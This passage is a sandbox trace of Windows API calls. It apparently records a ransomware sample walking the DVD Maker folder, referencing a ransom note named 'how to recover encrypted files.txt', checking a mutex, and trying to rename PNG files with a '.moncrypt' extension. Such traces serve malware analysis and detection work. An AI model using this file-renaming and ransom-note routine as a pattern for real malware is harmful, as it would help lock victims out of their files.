dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpUsedDefaultChar=0x0) returned 71 [0058.728] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\button-highlight.png", lpUsedDefaultChar=0x0) returned 4 [0058.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 0x54e280 [0058.728] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.728] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.728] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.728] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", dwFileAttributes=0x20) returned 0 [0058.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.729] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.moncrypt")) returned 0 [0058.729] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0058.729] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.729] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.729] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.729] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.729] GlobalUnlock (hMem=0x44000c) returned 0 [0058.729] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.729] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.729] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.729] GlobalUnlock (hMem=0x44000c) returned 0 [0058.729] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.729] GlobalUnlock (hMem=0x440004) returned 0 [0058.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.730] CharLowerBuffW (in: lpsz="content-background.png", cchLength=0x16 | out: lpsz="content-background.png") returned 0x16 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", lpUsedDefaultChar=0x0) returned 73 [0058.730] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\content-background.png", lpUsedDefaultChar=0x0) returned 4 [0058.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 0x54e280 [0058.731] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.731] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.731] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.731] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", dwFileAttributes=0x20) returned 0 [0058.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.732] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.moncrypt")) returned 0 [0058.732] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0058.732] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.732] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.732] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.732] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.732] GlobalUnlock (hMem=0x440004) returned 0 [0058.733] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.733] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.733] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.733] GlobalUnlock (hMem=0x440004) returned 0 [0058.733] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.733] GlobalUnlock (hMem=0x44000c) returned 0 [0058.733] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.733] CharLowerBuffW (in: lpsz="header-background.png", cchLength=0x15 | out: lpsz="header-background.png") returned 0x15 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.pngr", lpUsedDefaultChar=0x0) returned 72 [0058.734] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\header-background.pngr", lpUsedDefaultChar=0x0) returned 4 [0058.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 0x54e280 [0058.734] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.734] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.734] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.734] SetFileAttributesW (lpFileName="C:\\Program 